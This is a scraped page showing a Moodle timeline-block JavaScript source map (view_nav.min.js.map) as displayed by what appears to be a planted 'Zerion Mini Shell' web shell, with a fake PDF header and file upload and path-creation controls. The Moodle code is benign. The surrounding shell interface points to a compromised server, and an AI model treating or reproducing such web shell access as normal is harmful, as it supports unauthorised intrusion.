%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/blocks/timeline/amd/build/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/blocks/timeline/amd/build/view_nav.min.js.map

{"version":3,"file":"view_nav.min.js","sources":["../src/view_nav.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Manage the timeline view navigation for the timeline block.\n *\n * @copyright  2018 Ryan Wyllie <ryan@moodle.com>\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\ndefine(\n[\n    'jquery',\n    'core/custom_interaction_events',\n    'block_timeline/view',\n    'core/ajax',\n    'core/notification',\n    'core/utils'\n],\nfunction(\n    $,\n    CustomEvents,\n    View,\n    Ajax,\n    Notification,\n    Utils\n) {\n\n    var SELECTORS = {\n        TIMELINE_DAY_FILTER: '[data-region=\"day-filter\"]',\n        TIMELINE_DAY_FILTER_OPTION: '[data-from]',\n        TIMELINE_VIEW_SELECTOR: '[data-region=\"view-selector\"]',\n        DATA_DAYS_OFFSET: '[data-days-offset]',\n        DATA_DAYS_LIMIT: '[data-days-limit]',\n        TIMELINE_SEARCH_INPUT: '[data-action=\"search\"]',\n        TIMELINE_SEARCH_CLEAR_ICON: '[data-action=\"clearsearch\"]',\n        NO_COURSES_EMPTY_MESSAGE: '[data-region=\"no-courses-empty-message\"]',\n    };\n\n    /**\n     * Generic handler to persist user preferences\n     *\n     * @param {string} type The name of the attribute you're updating\n     * @param {string} value The value of the attribute you're updating\n     */\n    var updateUserPreferences = function(type, value) {\n        var request = {\n            methodname: 'core_user_update_user_preferences',\n            args: {\n                preferences: [\n                    {\n                        type: type,\n                        value: value\n                    }\n                ]\n            }\n        };\n\n        Ajax.call([request])[0]\n            .fail(Notification.exception);\n    };\n\n    /**\n     * Event listener for the day selector (\"Next 7 days\", \"Next 30 days\", etc).\n     *\n     * @param {object} root The root element for the timeline block\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    var registerTimelineDaySelector = function(root, timelineViewRoot) {\n        var timelineDaySelectorContainer = root.find(SELECTORS.TIMELINE_DAY_FILTER);\n\n        CustomEvents.define(timelineDaySelectorContainer, [CustomEvents.events.activate]);\n        timelineDaySelectorContainer.on(\n            CustomEvents.events.activate,\n            SELECTORS.TIMELINE_DAY_FILTER_OPTION,\n            function(e, data) {\n                // Update the user preference\n                var filtername = $(e.currentTarget).data('filtername');\n                var type = 'block_timeline_user_filter_preference';\n                updateUserPreferences(type, filtername);\n\n                var option = $(e.target).closest(SELECTORS.TIMELINE_DAY_FILTER_OPTION);\n\n                if (option.attr('aria-current') == 'true') {\n                    // If it's already active then we don't need to do anything.\n                    return;\n                }\n\n                var daysOffset = option.attr('data-from');\n                var daysLimit = option.attr('data-to');\n                var elementsWithDaysOffset = root.find(SELECTORS.DATA_DAYS_OFFSET);\n\n                elementsWithDaysOffset.attr('data-days-offset', daysOffset);\n\n                if (daysLimit != undefined) {\n                    elementsWithDaysOffset.attr('data-days-limit', daysLimit);\n                } else {\n                    elementsWithDaysOffset.removeAttr('data-days-limit');\n                }\n\n                if (option.attr('data-filtername') === 'overdue') {\n                    elementsWithDaysOffset.attr('data-filter-overdue', true);\n                } else {\n                    elementsWithDaysOffset.removeAttr('data-filter-overdue');\n                }\n\n                // Reset the views to reinitialise the event lists now that we've\n                // updated the day limits.\n                View.reset(timelineViewRoot);\n\n                data.originalEvent.preventDefault();\n            }\n        );\n    };\n\n    /**\n     * Event listener for the \"sort\" button in the timeline navigation that allows for\n     * changing between the timeline dates and courses views.\n     *\n     * On a view change we tell the timeline view module that the view has been shown\n     * so that it can handle how to display the appropriate view.\n     *\n     * @param {object} root The root element for the timeline block\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    var registerViewSelector = function(root, timelineViewRoot) {\n        var viewSelector = root.find(SELECTORS.TIMELINE_VIEW_SELECTOR);\n\n        // Listen for when the user changes tab so that we can show the first set of courses\n        // and load their events when they request the sort by courses view for the first time.\n        viewSelector.on('shown shown.bs.tab', function(e) {\n            View.shown(timelineViewRoot);\n            $(e.target).removeClass('active');\n        });\n\n\n        // Event selector for user_sort\n        CustomEvents.define(viewSelector, [CustomEvents.events.activate]);\n        viewSelector.on(CustomEvents.events.activate, \"[data-toggle='tab']\", function(e) {\n            var filtername = $(e.currentTarget).data('filtername');\n            var type = 'block_timeline_user_sort_preference';\n            updateUserPreferences(type, filtername);\n        });\n    };\n\n    /**\n     * Event listener for the \"search\" input field in the timeline navigation that allows for\n     * searching the activity name, course name and activity type.\n     *\n     * @param {object} root The root element for the timeline block\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    const registerSearch = (root, timelineViewRoot) => {\n        const searchInput = root.find(SELECTORS.TIMELINE_SEARCH_INPUT);\n        const clearSearchIcon = root.find(SELECTORS.TIMELINE_SEARCH_CLEAR_ICON);\n        searchInput.on('input', Utils.debounce(() => {\n            if (searchInput.val() !== '') {\n                activeSearchState(clearSearchIcon, timelineViewRoot);\n            } else {\n                clearSearchState(clearSearchIcon, timelineViewRoot);\n            }\n        }, 1000));\n        clearSearchIcon.on('click', () => {\n            searchInput.val('');\n            clearSearchState(clearSearchIcon, timelineViewRoot);\n            searchInput.focus();\n        });\n    };\n\n    /**\n     * Show the clear search icon.\n     *\n     * @param {object} clearSearchIcon Clear search icon element.\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    const activeSearchState = (clearSearchIcon, timelineViewRoot) => {\n        clearSearchIcon.removeClass('d-none');\n        View.reset(timelineViewRoot);\n    };\n\n    /**\n     * Hide the clear search icon.\n     *\n     * @param {object} clearSearchIcon Clear search icon element.\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    const clearSearchState = (clearSearchIcon, timelineViewRoot) => {\n        clearSearchIcon.addClass('d-none');\n        View.reset(timelineViewRoot);\n    };\n\n    /**\n     * Initialise the timeline view navigation by adding event listeners to\n     * the navigation elements.\n     *\n     * @param {object} root The root element for the timeline block\n     * @param {object} timelineViewRoot The root element for the timeline view\n     */\n    var init = function(root, timelineViewRoot) {\n        root = $(root);\n\n        registerViewSelector(root, timelineViewRoot);\n\n        // Only need to handle filtering if the user is actively enrolled in a course.\n        if (!root.find(SELECTORS.NO_COURSES_EMPTY_MESSAGE).length) {\n            registerTimelineDaySelector(root, timelineViewRoot);\n            registerSearch(root, timelineViewRoot);\n        }\n    };\n\n    return {\n        init: init\n    };\n});\n"],"names":["define","$","CustomEvents","View","Ajax","Notification","Utils","SELECTORS","updateUserPreferences","type","value","request","methodname","args","preferences","call","fail","exception","activeSearchState","clearSearchIcon","timelineViewRoot","removeClass","reset","clearSearchState","addClass","init","root","viewSelector","find","on","e","shown","target","events","activate","filtername","currentTarget","data","registerViewSelector","length","timelineDaySelectorContainer","option","closest","attr","daysOffset","daysLimit","elementsWithDaysOffset","undefined","removeAttr","originalEvent","preventDefault","registerTimelineDaySelector","searchInput","debounce","val","focus","registerSearch"],"mappings":";;;;;;AAsBAA,iCACA,CACI,SACA,iCACA,sBACA,YACA,oBACA,eAEJ,SACIC,EACAC,aACAC,KACAC,KACAC,aACAC,WAGIC,8BACqB,6BADrBA,qCAE4B,cAF5BA,iCAGwB,gCAHxBA,2BAIkB,qBAJlBA,gCAMuB,yBANvBA,qCAO4B,8BAP5BA,mCAQ0B,2CAS1BC,sBAAwB,SAASC,KAAMC,WACnCC,QAAU,CACVC,WAAY,oCACZC,KAAM,CACFC,YAAa,CACT,CACIL,KAAMA,KACNC,MAAOA,UAMvBN,KAAKW,KAAK,CAACJ,UAAU,GAChBK,KAAKX,aAAaY,kBAoHrBC,kBAAoB,CAACC,gBAAiBC,oBACxCD,gBAAgBE,YAAY,UAC5BlB,KAAKmB,MAAMF,mBASTG,iBAAmB,CAACJ,gBAAiBC,oBACvCD,gBAAgBK,SAAS,UACzBrB,KAAKmB,MAAMF,yBAsBR,CACHK,KAbO,SAASC,KAAMN,mBAzEC,SAASM,KAAMN,sBAClCO,aAAeD,KAAKE,KAAKrB,kCAI7BoB,aAAaE,GAAG,sBAAsB,SAASC,GAC3C3B,KAAK4B,MAAMX,kBACXnB,EAAE6B,EAAEE,QAAQX,YAAY,aAK5BnB,aAAaF,OAAO2B,aAAc,CAACzB,aAAa+B,OAAOC,WACvDP,aAAaE,GAAG3B,aAAa+B,OAAOC,SAAU,uBAAuB,SAASJ,OACtEK,WAAalC,EAAE6B,EAAEM,eAAeC,KAAK,cAEzC7B,sBADW,sCACiB2B,gBA4DhCG,CAFAZ,KAAOzB,EAAEyB,MAEkBN,kBAGtBM,KAAKE,KAAKrB,oCAAoCgC,SAxIrB,SAASb,KAAMN,sBACzCoB,6BAA+Bd,KAAKE,KAAKrB,+BAE7CL,aAAaF,OAAOwC,6BAA8B,CAACtC,aAAa+B,OAAOC,WACvEM,6BAA6BX,GACzB3B,aAAa+B,OAAOC,SACpB3B,sCACA,SAASuB,EAAGO,UAEJF,WAAalC,EAAE6B,EAAEM,eAAeC,KAAK,cAEzC7B,sBADW,wCACiB2B,gBAExBM,OAASxC,EAAE6B,EAAEE,QAAQU,QAAQnC,yCAEE,QAA/BkC,OAAOE,KAAK,qBAKZC,WAAaH,OAAOE,KAAK,aACzBE,UAAYJ,OAAOE,KAAK,WACxBG,uBAAyBpB,KAAKE,KAAKrB,4BAEvCuC,uBAAuBH,KAAK,mBAAoBC,YAE/BG,MAAbF,UACAC,uBAAuBH,KAAK,kBAAmBE,WAE/CC,uBAAuBE,WAAW,mBAGC,YAAnCP,OAAOE,KAAK,mBACZG,uBAAuBH,KAAK,uBAAuB,GAEnDG,uBAAuBE,WAAW,uBAKtC7C,KAAKmB,MAAMF,kBAEXiB,KAAKY,cAAcC,qBA+FvBC,CAA4BzB,KAAMN,kBArDnB,EAACM,KAAMN,0BACpBgC,YAAc1B,KAAKE,KAAKrB,iCACxBY,gBAAkBO,KAAKE,KAAKrB,sCAClC6C,YAAYvB,GAAG,QAASvB,MAAM+C,UAAS,KACT,KAAtBD,YAAYE,MACZpC,kBAAkBC,gBAAiBC,kBAEnCG,iBAAiBJ,gBAAiBC,oBAEvC,MACHD,gBAAgBU,GAAG,SAAS,KACxBuB,YAAYE,IAAI,IAChB/B,iBAAiBJ,gBAAiBC,kBAClCgC,YAAYG,YAyCZC,CAAe9B,KAAMN"}

Zerion Mini Shell 1.0